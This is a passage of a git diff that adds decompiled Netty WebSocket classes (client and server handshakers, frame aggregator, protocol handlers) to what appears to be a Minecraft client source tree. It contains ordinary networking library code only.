+    headers.add("Sec-WebSocket-Origin", originValue);
+    
+    String expectedSubprotocol = expectedSubprotocol();
+    if ((expectedSubprotocol != null) && (!expectedSubprotocol.isEmpty())) {
+      headers.add("Sec-WebSocket-Protocol", expectedSubprotocol);
+    }
+    
+    headers.add("Sec-WebSocket-Version", "7");
+    
+    if (customHeaders != null) {
+      headers.add(customHeaders);
+    }
+    return request;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected void verify(FullHttpResponse response)
+  {
+    HttpResponseStatus status = HttpResponseStatus.SWITCHING_PROTOCOLS;
+    HttpHeaders headers = response.headers();
+    
+    if (!response.getStatus().equals(status)) {
+      throw new WebSocketHandshakeException("Invalid handshake response getStatus: " + response.getStatus());
+    }
+    
+    String upgrade = headers.get("Upgrade");
+    if (!"WebSocket".equalsIgnoreCase(upgrade)) {
+      throw new WebSocketHandshakeException("Invalid handshake response upgrade: " + upgrade);
+    }
+    
+    String connection = headers.get("Connection");
+    if (!"Upgrade".equalsIgnoreCase(connection)) {
+      throw new WebSocketHandshakeException("Invalid handshake response connection: " + connection);
+    }
+    
+    String accept = headers.get("Sec-WebSocket-Accept");
+    if ((accept == null) || (!accept.equals(expectedChallengeResponseString))) {
+      throw new WebSocketHandshakeException(String.format("Invalid challenge. Actual: %s. Expected: %s", new Object[] { accept, expectedChallengeResponseString }));
+    }
+  }
+  
+
+  protected WebSocketFrameDecoder newWebsocketDecoder()
+  {
+    return new WebSocket07FrameDecoder(false, allowExtensions, maxFramePayloadLength());
+  }
+  
+  protected WebSocketFrameEncoder newWebSocketEncoder()
+  {
+    return new WebSocket07FrameEncoder(true);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketClientHandshaker08.java b/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketClientHandshaker08.java
new file mode 100644
index 0000000..6f333a1
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketClientHandshaker08.java
@@ -0,0 +1,201 @@
+package io.netty.handler.codec.http.websocketx;
+
+import io.netty.handler.codec.http.DefaultFullHttpRequest;
+import io.netty.handler.codec.http.FullHttpRequest;
+import io.netty.handler.codec.http.FullHttpResponse;
+import io.netty.handler.codec.http.HttpHeaders;
+import io.netty.handler.codec.http.HttpMethod;
+import io.netty.handler.codec.http.HttpResponseStatus;
+import io.netty.handler.codec.http.HttpVersion;
+import io.netty.util.CharsetUtil;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.net.URI;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class WebSocketClientHandshaker08
+  extends WebSocketClientHandshaker
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(WebSocketClientHandshaker08.class);
+  
+
+
+
+
+  public static final String MAGIC_GUID = "258EAFA5-E914-47DA-95CA-C5AB0DC85B11";
+  
+
+
+
+
+  private String expectedChallengeResponseString;
+  
+
+
+
+
+  private final boolean allowExtensions;
+  
+
+
+
+
+
+  public WebSocketClientHandshaker08(URI webSocketURL, WebSocketVersion version, String subprotocol, boolean allowExtensions, HttpHeaders customHeaders, int maxFramePayloadLength)
+  {
+    super(webSocketURL, version, subprotocol, customHeaders, maxFramePayloadLength);
+    this.allowExtensions = allowExtensions;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected FullHttpRequest newHandshakeRequest()
+  {
+    URI wsURL = uri();
+    String path = wsURL.getPath();
+    if ((wsURL.getQuery() != null) && (!wsURL.getQuery().isEmpty())) {
+      path = wsURL.getPath() + '?' + wsURL.getQuery();
+    }
+    
+    if ((path == null) || (path.isEmpty())) {
+      path = "/";
+    }
+    
+
+    byte[] nonce = WebSocketUtil.randomBytes(16);
+    String key = WebSocketUtil.base64(nonce);
+    
+    String acceptSeed = key + "258EAFA5-E914-47DA-95CA-C5AB0DC85B11";
+    byte[] sha1 = WebSocketUtil.sha1(acceptSeed.getBytes(CharsetUtil.US_ASCII));
+    expectedChallengeResponseString = WebSocketUtil.base64(sha1);
+    
+    if (logger.isDebugEnabled()) {
+      logger.debug("WebSocket version 08 client handshake key: {}, expected response: {}", key, expectedChallengeResponseString);
+    }
+    
+
+
+
+    FullHttpRequest request = new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.GET, path);
+    HttpHeaders headers = request.headers();
+    
+    headers.add("Upgrade", "WebSocket".toLowerCase()).add("Connection", "Upgrade").add("Sec-WebSocket-Key", key).add("Host", wsURL.getHost());
+    
+
+
+
+    int wsPort = wsURL.getPort();
+    String originValue = "http://" + wsURL.getHost();
+    if ((wsPort != 80) && (wsPort != 443))
+    {
+
+      originValue = originValue + ':' + wsPort;
+    }
+    headers.add("Sec-WebSocket-Origin", originValue);
+    
+    String expectedSubprotocol = expectedSubprotocol();
+    if ((expectedSubprotocol != null) && (!expectedSubprotocol.isEmpty())) {
+      headers.add("Sec-WebSocket-Protocol", expectedSubprotocol);
+    }
+    
+    headers.add("Sec-WebSocket-Version", "8");
+    
+    if (customHeaders != null) {
+      headers.add(customHeaders);
+    }
+    return request;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected void verify(FullHttpResponse response)
+  {
+    HttpResponseStatus status = HttpResponseStatus.SWITCHING_PROTOCOLS;
+    HttpHeaders headers = response.headers();
+    
+    if (!response.getStatus().equals(status)) {
+      throw new WebSocketHandshakeException("Invalid handshake response getStatus: " + response.getStatus());
+    }
+    
+    String upgrade = headers.get("Upgrade");
+    if (!"WebSocket".equalsIgnoreCase(upgrade)) {
+      throw new WebSocketHandshakeException("Invalid handshake response upgrade: " + upgrade);
+    }
+    
+    String connection = headers.get("Connection");
+    if (!"Upgrade".equalsIgnoreCase(connection)) {
+      throw new WebSocketHandshakeException("Invalid handshake response connection: " + connection);
+    }
+    
+    String accept = headers.get("Sec-WebSocket-Accept");
+    if ((accept == null) || (!accept.equals(expectedChallengeResponseString))) {
+      throw new WebSocketHandshakeException(String.format("Invalid challenge. Actual: %s. Expected: %s", new Object[] { accept, expectedChallengeResponseString }));
+    }
+  }
+  
+
+  protected WebSocketFrameDecoder newWebsocketDecoder()
+  {
+    return new WebSocket08FrameDecoder(false, allowExtensions, maxFramePayloadLength());
+  }
+  
+  protected WebSocketFrameEncoder newWebSocketEncoder()
+  {
+    return new WebSocket08FrameEncoder(true);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketClientHandshaker13.java b/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketClientHandshaker13.java
new file mode 100644
index 0000000..f026a66
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketClientHandshaker13.java
@@ -0,0 +1,211 @@
+package io.netty.handler.codec.http.websocketx;
+
+import io.netty.handler.codec.http.DefaultFullHttpRequest;
+import io.netty.handler.codec.http.FullHttpRequest;
+import io.netty.handler.codec.http.FullHttpResponse;
+import io.netty.handler.codec.http.HttpHeaders;
+import io.netty.handler.codec.http.HttpMethod;
+import io.netty.handler.codec.http.HttpResponseStatus;
+import io.netty.handler.codec.http.HttpVersion;
+import io.netty.util.CharsetUtil;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.net.URI;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class WebSocketClientHandshaker13
+  extends WebSocketClientHandshaker
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(WebSocketClientHandshaker13.class);
+  
+
+
+
+
+  public static final String MAGIC_GUID = "258EAFA5-E914-47DA-95CA-C5AB0DC85B11";
+  
+
+
+
+
+  private String expectedChallengeResponseString;
+  
+
+
+
+
+  private final boolean allowExtensions;
+  
+
+
+
+
+
+  public WebSocketClientHandshaker13(URI webSocketURL, WebSocketVersion version, String subprotocol, boolean allowExtensions, HttpHeaders customHeaders, int maxFramePayloadLength)
+  {
+    super(webSocketURL, version, subprotocol, customHeaders, maxFramePayloadLength);
+    this.allowExtensions = allowExtensions;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected FullHttpRequest newHandshakeRequest()
+  {
+    URI wsURL = uri();
+    String path = wsURL.getPath();
+    if ((wsURL.getQuery() != null) && (!wsURL.getQuery().isEmpty())) {
+      path = wsURL.getPath() + '?' + wsURL.getQuery();
+    }
+    
+    if ((path == null) || (path.isEmpty())) {
+      path = "/";
+    }
+    
+
+    byte[] nonce = WebSocketUtil.randomBytes(16);
+    String key = WebSocketUtil.base64(nonce);
+    
+    String acceptSeed = key + "258EAFA5-E914-47DA-95CA-C5AB0DC85B11";
+    byte[] sha1 = WebSocketUtil.sha1(acceptSeed.getBytes(CharsetUtil.US_ASCII));
+    expectedChallengeResponseString = WebSocketUtil.base64(sha1);
+    
+    if (logger.isDebugEnabled()) {
+      logger.debug("WebSocket version 13 client handshake key: {}, expected response: {}", key, expectedChallengeResponseString);
+    }
+    
+
+
+
+    int wsPort = wsURL.getPort();
+    
+
+    if (wsPort == -1) {
+      if ("wss".equals(wsURL.getScheme())) {
+        wsPort = 443;
+      } else {
+        wsPort = 80;
+      }
+    }
+    
+    FullHttpRequest request = new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.GET, path);
+    HttpHeaders headers = request.headers();
+    
+    headers.add("Upgrade", "WebSocket".toLowerCase()).add("Connection", "Upgrade").add("Sec-WebSocket-Key", key).add("Host", wsURL.getHost() + ':' + wsPort);
+    
+
+
+
+    String originValue = "http://" + wsURL.getHost();
+    if ((wsPort != 80) && (wsPort != 443))
+    {
+
+      originValue = originValue + ':' + wsPort;
+    }
+    headers.add("Sec-WebSocket-Origin", originValue);
+    
+    String expectedSubprotocol = expectedSubprotocol();
+    if ((expectedSubprotocol != null) && (!expectedSubprotocol.isEmpty())) {
+      headers.add("Sec-WebSocket-Protocol", expectedSubprotocol);
+    }
+    
+    headers.add("Sec-WebSocket-Version", "13");
+    
+    if (customHeaders != null) {
+      headers.add(customHeaders);
+    }
+    return request;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected void verify(FullHttpResponse response)
+  {
+    HttpResponseStatus status = HttpResponseStatus.SWITCHING_PROTOCOLS;
+    HttpHeaders headers = response.headers();
+    
+    if (!response.getStatus().equals(status)) {
+      throw new WebSocketHandshakeException("Invalid handshake response getStatus: " + response.getStatus());
+    }
+    
+    String upgrade = headers.get("Upgrade");
+    if (!"WebSocket".equalsIgnoreCase(upgrade)) {
+      throw new WebSocketHandshakeException("Invalid handshake response upgrade: " + upgrade);
+    }
+    
+    String connection = headers.get("Connection");
+    if (!"Upgrade".equalsIgnoreCase(connection)) {
+      throw new WebSocketHandshakeException("Invalid handshake response connection: " + connection);
+    }
+    
+    String accept = headers.get("Sec-WebSocket-Accept");
+    if ((accept == null) || (!accept.equals(expectedChallengeResponseString))) {
+      throw new WebSocketHandshakeException(String.format("Invalid challenge. Actual: %s. Expected: %s", new Object[] { accept, expectedChallengeResponseString }));
+    }
+  }
+  
+
+  protected WebSocketFrameDecoder newWebsocketDecoder()
+  {
+    return new WebSocket13FrameDecoder(false, allowExtensions, maxFramePayloadLength());
+  }
+  
+  protected WebSocketFrameEncoder newWebSocketEncoder()
+  {
+    return new WebSocket13FrameEncoder(true);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketClientHandshakerFactory.java b/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketClientHandshakerFactory.java
new file mode 100644
index 0000000..64111fb
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketClientHandshakerFactory.java
@@ -0,0 +1,96 @@
+package io.netty.handler.codec.http.websocketx;
+
+import io.netty.handler.codec.http.HttpHeaders;
+import java.net.URI;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class WebSocketClientHandshakerFactory
+{
+  private WebSocketClientHandshakerFactory() {}
+  
+  public static WebSocketClientHandshaker newHandshaker(URI webSocketURL, WebSocketVersion version, String subprotocol, boolean allowExtensions, HttpHeaders customHeaders)
+  {
+    return newHandshaker(webSocketURL, version, subprotocol, allowExtensions, customHeaders, 65536);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static WebSocketClientHandshaker newHandshaker(URI webSocketURL, WebSocketVersion version, String subprotocol, boolean allowExtensions, HttpHeaders customHeaders, int maxFramePayloadLength)
+  {
+    if (version == WebSocketVersion.V13) {
+      return new WebSocketClientHandshaker13(webSocketURL, WebSocketVersion.V13, subprotocol, allowExtensions, customHeaders, maxFramePayloadLength);
+    }
+    
+    if (version == WebSocketVersion.V08) {
+      return new WebSocketClientHandshaker08(webSocketURL, WebSocketVersion.V08, subprotocol, allowExtensions, customHeaders, maxFramePayloadLength);
+    }
+    
+    if (version == WebSocketVersion.V07) {
+      return new WebSocketClientHandshaker07(webSocketURL, WebSocketVersion.V07, subprotocol, allowExtensions, customHeaders, maxFramePayloadLength);
+    }
+    
+    if (version == WebSocketVersion.V00) {
+      return new WebSocketClientHandshaker00(webSocketURL, WebSocketVersion.V00, subprotocol, customHeaders, maxFramePayloadLength);
+    }
+    
+
+    throw new WebSocketHandshakeException("Protocol version " + version + " not supported.");
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketClientProtocolHandler.java b/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketClientProtocolHandler.java
new file mode 100644
index 0000000..cfba451
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketClientProtocolHandler.java
@@ -0,0 +1,148 @@
+package io.netty.handler.codec.http.websocketx;
+
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelPipeline;
+import io.netty.handler.codec.http.HttpHeaders;
+import java.net.URI;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class WebSocketClientProtocolHandler
+  extends WebSocketProtocolHandler
+{
+  private final WebSocketClientHandshaker handshaker;
+  private final boolean handleCloseFrames;
+  
+  public static enum ClientHandshakeStateEvent
+  {
+    HANDSHAKE_ISSUED, 
+    
+
+
+
+    HANDSHAKE_COMPLETE;
+    
+
+
+
+
+
+
+
+
+    private ClientHandshakeStateEvent() {}
+  }
+  
+
+
+
+
+
+
+
+
+  public WebSocketClientProtocolHandler(URI webSocketURL, WebSocketVersion version, String subprotocol, boolean allowExtensions, HttpHeaders customHeaders, int maxFramePayloadLength, boolean handleCloseFrames)
+  {
+    this(WebSocketClientHandshakerFactory.newHandshaker(webSocketURL, version, subprotocol, allowExtensions, customHeaders, maxFramePayloadLength), handleCloseFrames);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public WebSocketClientProtocolHandler(URI webSocketURL, WebSocketVersion version, String subprotocol, boolean allowExtensions, HttpHeaders customHeaders, int maxFramePayloadLength)
+  {
+    this(webSocketURL, version, subprotocol, allowExtensions, customHeaders, maxFramePayloadLength, true);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public WebSocketClientProtocolHandler(WebSocketClientHandshaker handshaker, boolean handleCloseFrames)
+  {
+    this.handshaker = handshaker;
+    this.handleCloseFrames = handleCloseFrames;
+  }
+  
+
+
+
+
+
+
+  public WebSocketClientProtocolHandler(WebSocketClientHandshaker handshaker)
+  {
+    this(handshaker, true);
+  }
+  
+  protected void decode(ChannelHandlerContext ctx, WebSocketFrame frame, List<Object> out) throws Exception
+  {
+    if ((handleCloseFrames) && ((frame instanceof CloseWebSocketFrame))) {
+      ctx.close();
+      return;
+    }
+    super.decode(ctx, frame, out);
+  }
+  
+  public void handlerAdded(ChannelHandlerContext ctx)
+  {
+    ChannelPipeline cp = ctx.pipeline();
+    if (cp.get(WebSocketClientProtocolHandshakeHandler.class) == null)
+    {
+      ctx.pipeline().addBefore(ctx.name(), WebSocketClientProtocolHandshakeHandler.class.getName(), new WebSocketClientProtocolHandshakeHandler(handshaker));
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketClientProtocolHandshakeHandler.java b/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketClientProtocolHandshakeHandler.java
new file mode 100644
index 0000000..4bc79c7
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketClientProtocolHandshakeHandler.java
@@ -0,0 +1,63 @@
+package io.netty.handler.codec.http.websocketx;
+
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelFutureListener;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelInboundHandlerAdapter;
+import io.netty.channel.ChannelPipeline;
+import io.netty.handler.codec.http.FullHttpResponse;
+
+
+
+
+
+
+
+
+
+
+
+
+class WebSocketClientProtocolHandshakeHandler
+  extends ChannelInboundHandlerAdapter
+{
+  private final WebSocketClientHandshaker handshaker;
+  
+  WebSocketClientProtocolHandshakeHandler(WebSocketClientHandshaker handshaker)
+  {
+    this.handshaker = handshaker;
+  }
+  
+  public void channelActive(final ChannelHandlerContext ctx) throws Exception
+  {
+    super.channelActive(ctx);
+    handshaker.handshake(ctx.channel()).addListener(new ChannelFutureListener()
+    {
+      public void operationComplete(ChannelFuture future) throws Exception {
+        if (!future.isSuccess()) {
+          ctx.fireExceptionCaught(future.cause());
+        } else {
+          ctx.fireUserEventTriggered(WebSocketClientProtocolHandler.ClientHandshakeStateEvent.HANDSHAKE_ISSUED);
+        }
+      }
+    });
+  }
+  
+  public void channelRead(ChannelHandlerContext ctx, Object msg)
+    throws Exception
+  {
+    if (!(msg instanceof FullHttpResponse)) {
+      ctx.fireChannelRead(msg);
+      return;
+    }
+    
+    if (!handshaker.isHandshakeComplete()) {
+      handshaker.finishHandshake(ctx.channel(), (FullHttpResponse)msg);
+      ctx.fireUserEventTriggered(WebSocketClientProtocolHandler.ClientHandshakeStateEvent.HANDSHAKE_COMPLETE);
+      
+      ctx.pipeline().remove(this);
+      return;
+    }
+    throw new IllegalStateException("WebSocketClientHandshaker should have been non finished yet");
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketFrame.java b/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketFrame.java
new file mode 100644
index 0000000..3c90de5
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketFrame.java
@@ -0,0 +1,85 @@
+package io.netty.handler.codec.http.websocketx;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.DefaultByteBufHolder;
+import io.netty.util.internal.StringUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class WebSocketFrame
+  extends DefaultByteBufHolder
+{
+  private final boolean finalFragment;
+  private final int rsv;
+  
+  protected WebSocketFrame(ByteBuf binaryData)
+  {
+    this(true, 0, binaryData);
+  }
+  
+  protected WebSocketFrame(boolean finalFragment, int rsv, ByteBuf binaryData) {
+    super(binaryData);
+    this.finalFragment = finalFragment;
+    this.rsv = rsv;
+  }
+  
+
+
+
+  public boolean isFinalFragment()
+  {
+    return finalFragment;
+  }
+  
+
+
+  public int rsv()
+  {
+    return rsv;
+  }
+  
+
+  public abstract WebSocketFrame copy();
+  
+
+  public abstract WebSocketFrame duplicate();
+  
+  public String toString()
+  {
+    return StringUtil.simpleClassName(this) + "(data: " + content().toString() + ')';
+  }
+  
+  public WebSocketFrame retain()
+  {
+    super.retain();
+    return this;
+  }
+  
+  public WebSocketFrame retain(int increment)
+  {
+    super.retain(increment);
+    return this;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketFrameAggregator.java b/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketFrameAggregator.java
new file mode 100644
index 0000000..4b75986
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketFrameAggregator.java
@@ -0,0 +1,125 @@
+package io.netty.handler.codec.http.websocketx;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.buffer.CompositeByteBuf;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.MessageToMessageDecoder;
+import io.netty.handler.codec.TooLongFrameException;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class WebSocketFrameAggregator
+  extends MessageToMessageDecoder<WebSocketFrame>
+{
+  private final int maxFrameSize;
+  private WebSocketFrame currentFrame;
+  private boolean tooLongFrameFound;
+  
+  public WebSocketFrameAggregator(int maxFrameSize)
+  {
+    if (maxFrameSize < 1) {
+      throw new IllegalArgumentException("maxFrameSize must be > 0");
+    }
+    this.maxFrameSize = maxFrameSize;
+  }
+  
+  protected void decode(ChannelHandlerContext ctx, WebSocketFrame msg, List<Object> out) throws Exception
+  {
+    if (this.currentFrame == null) {
+      tooLongFrameFound = false;
+      if (msg.isFinalFragment()) {
+        out.add(msg.retain());
+        return;
+      }
+      ByteBuf buf = ctx.alloc().compositeBuffer().addComponent(msg.content().retain());
+      buf.writerIndex(buf.writerIndex() + msg.content().readableBytes());
+      
+      if ((msg instanceof TextWebSocketFrame)) {
+        this.currentFrame = new TextWebSocketFrame(true, msg.rsv(), buf);
+      } else if ((msg instanceof BinaryWebSocketFrame)) {
+        this.currentFrame = new BinaryWebSocketFrame(true, msg.rsv(), buf);
+      } else {
+        buf.release();
+        throw new IllegalStateException("WebSocket frame was not of type TextWebSocketFrame or BinaryWebSocketFrame");
+      }
+      
+      return;
+    }
+    if ((msg instanceof ContinuationWebSocketFrame)) {
+      if (tooLongFrameFound) {
+        if (msg.isFinalFragment()) {
+          this.currentFrame = null;
+        }
+        return;
+      }
+      CompositeByteBuf content = (CompositeByteBuf)this.currentFrame.content();
+      if (content.readableBytes() > maxFrameSize - msg.content().readableBytes())
+      {
+        this.currentFrame.release();
+        tooLongFrameFound = true;
+        throw new TooLongFrameException("WebSocketFrame length exceeded " + content + " bytes.");
+      }
+      
+
+      content.addComponent(msg.content().retain());
+      content.writerIndex(content.writerIndex() + msg.content().readableBytes());
+      
+      if (msg.isFinalFragment()) {
+        WebSocketFrame currentFrame = this.currentFrame;
+        this.currentFrame = null;
+        out.add(currentFrame);
+        return;
+      }
+      return;
+    }
+    
+
+
+    out.add(msg.retain());
+  }
+  
+  public void channelInactive(ChannelHandlerContext ctx) throws Exception
+  {
+    super.channelInactive(ctx);
+    
+    if (currentFrame != null) {
+      currentFrame.release();
+      currentFrame = null;
+    }
+  }
+  
+  public void handlerRemoved(ChannelHandlerContext ctx) throws Exception
+  {
+    super.handlerRemoved(ctx);
+    
+
+    if (currentFrame != null) {
+      currentFrame.release();
+      currentFrame = null;
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketFrameDecoder.java b/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketFrameDecoder.java
new file mode 100644
index 0000000..cebac25
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketFrameDecoder.java
@@ -0,0 +1,7 @@
+package io.netty.handler.codec.http.websocketx;
+
+import io.netty.channel.ChannelInboundHandler;
+
+public abstract interface WebSocketFrameDecoder
+  extends ChannelInboundHandler
+{}
diff --git a/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketFrameEncoder.java b/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketFrameEncoder.java
new file mode 100644
index 0000000..eecdcf1
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketFrameEncoder.java
@@ -0,0 +1,7 @@
+package io.netty.handler.codec.http.websocketx;
+
+import io.netty.channel.ChannelOutboundHandler;
+
+public abstract interface WebSocketFrameEncoder
+  extends ChannelOutboundHandler
+{}
diff --git a/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketHandshakeException.java b/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketHandshakeException.java
new file mode 100644
index 0000000..9af6b81
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketHandshakeException.java
@@ -0,0 +1,32 @@
+package io.netty.handler.codec.http.websocketx;
+
+
+
+
+
+
+
+
+
+public class WebSocketHandshakeException
+  extends RuntimeException
+{
+  private static final long serialVersionUID = 1L;
+  
+
+
+
+
+
+
+
+
+  public WebSocketHandshakeException(String s)
+  {
+    super(s);
+  }
+  
+  public WebSocketHandshakeException(String s, Throwable throwable) {
+    super(s, throwable);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketProtocolHandler.java b/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketProtocolHandler.java
new file mode 100644
index 0000000..7dd056c
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketProtocolHandler.java
@@ -0,0 +1,44 @@
+package io.netty.handler.codec.http.websocketx;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.MessageToMessageDecoder;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+abstract class WebSocketProtocolHandler
+  extends MessageToMessageDecoder<WebSocketFrame>
+{
+  WebSocketProtocolHandler() {}
+  
+  protected void decode(ChannelHandlerContext ctx, WebSocketFrame frame, List<Object> out)
+    throws Exception
+  {
+    if ((frame instanceof PingWebSocketFrame)) {
+      frame.content().retain();
+      ctx.channel().writeAndFlush(new PongWebSocketFrame(frame.content()));
+      return;
+    }
+    if ((frame instanceof PongWebSocketFrame))
+    {
+      return;
+    }
+    
+    out.add(frame.retain());
+  }
+  
+  public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) throws Exception
+  {
+    ctx.close();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketServerHandshaker.java b/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketServerHandshaker.java
new file mode 100644
index 0000000..38045ed
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketServerHandshaker.java
@@ -0,0 +1,282 @@
+package io.netty.handler.codec.http.websocketx;
+
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelFutureListener;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelPipeline;
+import io.netty.channel.ChannelPromise;
+import io.netty.handler.codec.http.FullHttpRequest;
+import io.netty.handler.codec.http.FullHttpResponse;
+import io.netty.handler.codec.http.HttpContentCompressor;
+import io.netty.handler.codec.http.HttpHeaders;
+import io.netty.handler.codec.http.HttpObjectAggregator;
+import io.netty.handler.codec.http.HttpRequestDecoder;
+import io.netty.handler.codec.http.HttpResponseEncoder;
+import io.netty.handler.codec.http.HttpServerCodec;
+import io.netty.util.internal.EmptyArrays;
+import io.netty.util.internal.StringUtil;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.util.Collections;
+import java.util.LinkedHashSet;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class WebSocketServerHandshaker
+{
+  protected static final InternalLogger logger = InternalLoggerFactory.getInstance(WebSocketServerHandshaker.class);
+  
+
+
+
+  private final String uri;
+  
+
+
+
+  private final String[] subprotocols;
+  
+
+
+  private final WebSocketVersion version;
+  
+
+
+  private final int maxFramePayloadLength;
+  
+
+
+  private String selectedSubprotocol;
+  
+
+
+  public static final String SUB_PROTOCOL_WILDCARD = "*";
+  
+
+
+
+  protected WebSocketServerHandshaker(WebSocketVersion version, String uri, String subprotocols, int maxFramePayloadLength)
+  {
+    this.version = version;
+    this.uri = uri;
+    if (subprotocols != null) {
+      String[] subprotocolArray = StringUtil.split(subprotocols, ',');
+      for (int i = 0; i < subprotocolArray.length; i++) {
+        subprotocolArray[i] = subprotocolArray[i].trim();
+      }
+      this.subprotocols = subprotocolArray;
+    } else {
+      this.subprotocols = EmptyArrays.EMPTY_STRINGS;
+    }
+    this.maxFramePayloadLength = maxFramePayloadLength;
+  }
+  
+
+
+  public String uri()
+  {
+    return uri;
+  }
+  
+
+
+  public Set<String> subprotocols()
+  {
+    Set<String> ret = new LinkedHashSet();
+    Collections.addAll(ret, subprotocols);
+    return ret;
+  }
+  
+
+
+  public WebSocketVersion version()
+  {
+    return version;
+  }
+  
+
+
+
+
+  public int maxFramePayloadLength()
+  {
+    return maxFramePayloadLength;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public ChannelFuture handshake(Channel channel, FullHttpRequest req)
+  {
+    return handshake(channel, req, null, channel.newPromise());
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public final ChannelFuture handshake(Channel channel, FullHttpRequest req, HttpHeaders responseHeaders, final ChannelPromise promise)
+  {
+    if (logger.isDebugEnabled()) {
+      logger.debug("{} WebSocket version {} server handshake", channel, version());
+    }
+    FullHttpResponse response = newHandshakeResponse(req, responseHeaders);
+    ChannelPipeline p = channel.pipeline();
+    if (p.get(HttpObjectAggregator.class) != null) {
+      p.remove(HttpObjectAggregator.class);
+    }
+    if (p.get(HttpContentCompressor.class) != null) {
+      p.remove(HttpContentCompressor.class);
+    }
+    ChannelHandlerContext ctx = p.context(HttpRequestDecoder.class);
+    String encoderName;
